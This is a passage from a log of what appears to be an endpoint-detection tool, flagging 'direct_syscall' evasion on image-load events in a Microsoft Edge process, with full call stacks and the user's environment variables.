C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcbb4cefc2 C:\Windows\System32\Windows.System.Launcher.dll!DllCanUnloadNow|0x7ffcbb4e5cba C:\Windows\System32\Windows.System.Launcher.dll!DllCanUnloadNow|0x7ffcbb4aa63e C:\Windows\System32\Windows.System.Launcher.dll!?|0x7ffcd9877112 C:\Windows\System32\windows.storage.dll!Ordinal764|0x7ffcd97c8ec8 C:\Windows\System32\windows.storage.dll!PathIsBinaryExe|0x7ffcd97c98a0 C:\Windows\System32\windows.storage.dll!PathIsBinaryExe|0x7ffcd97ca113 C:\Windows\System32\windows.storage.dll!PathIsBinaryExe|0x7ffcd97c887a C:\Windows\System32\windows.storage.dll!PathIsBinaryExe|0x7ffcd97c861e C:\Windows\System32\windows.storage.dll!PathIsBinaryExe|0x7ffcd98fd4c8 C:\Windows\System32\windows.storage.dll!CCategoryProvider_CreateWithParams|0x7ffcd9876fa6 C:\Windows\System32\windows.storage.dll!Ordinal764|0x7ffcd976a202 C:\Windows\System32\windows.storage.dll!HideExtension|0x7ffc8e5635a0 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cfa23a7 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cfa2156 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cfaf541 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8d081a2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45fd2d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45ea50 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cdb500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce05288 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce29a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:23+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4188173 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.8113843 +0100 CET + Params: base_address➜ 7ffcb1400000, checksum➜ 1424120, default_address➜ 7ffcb1400000, file_path➜ C:\Windows\System32\Windows.UI.Immersive.dll, image_size➜ 1372160, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd647a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd64759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd6644fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffcdd7cd25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd6187d1 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd6172ff C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd616e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcc976cfdc C:\Windows\System32\Windows.UI.dll!DllGetClassObject|0x7ffcc976cea0 C:\Windows\System32\Windows.UI.dll!DllGetClassObject|0x7ffc8dd0d7e3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8dd0d4ee C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cdfd152 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ec724de C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e5de71a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e5de509 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e5de2d6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ce1fd4b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ed33ea2 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8efe56cb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8efc814e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8efb7f41 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8efb7cb3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8efb4e7b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8efb4a5b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8efb48e3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f6d646e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f6d613c C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8ed9fcf1 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ed9fa8e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ed97c5d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ed96cbd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ed9617f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f12a9c2 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f12a791 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cec37d9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec2704 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec1a6b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0b46 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:24+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4191913 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.9242288 +0100 CET + Params: base_address➜ 7ffcdb0f0000, checksum➜ 483686, default_address➜ 7ffcdb0f0000, file_path➜ C:\Windows\System32\wldp.dll, image_size➜ 413696, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffc8e5882f2 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e58815d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e5e63f5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f15e2be C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f15dfed C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f697afa C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f697a33 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f696f95 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f696ddd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f696c03 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f696b6d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8ec5a20a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ed46dc3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8efb6a46 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8efb62b1 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8efb5477 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8efb4eb7 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8efb4a5b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8efb48e3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f6d646e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f6d613c C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8ed9fcf1 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ed9fa8e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ed97c5d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ed96cbd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ed9617f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f12a9c2 C:\Program Files 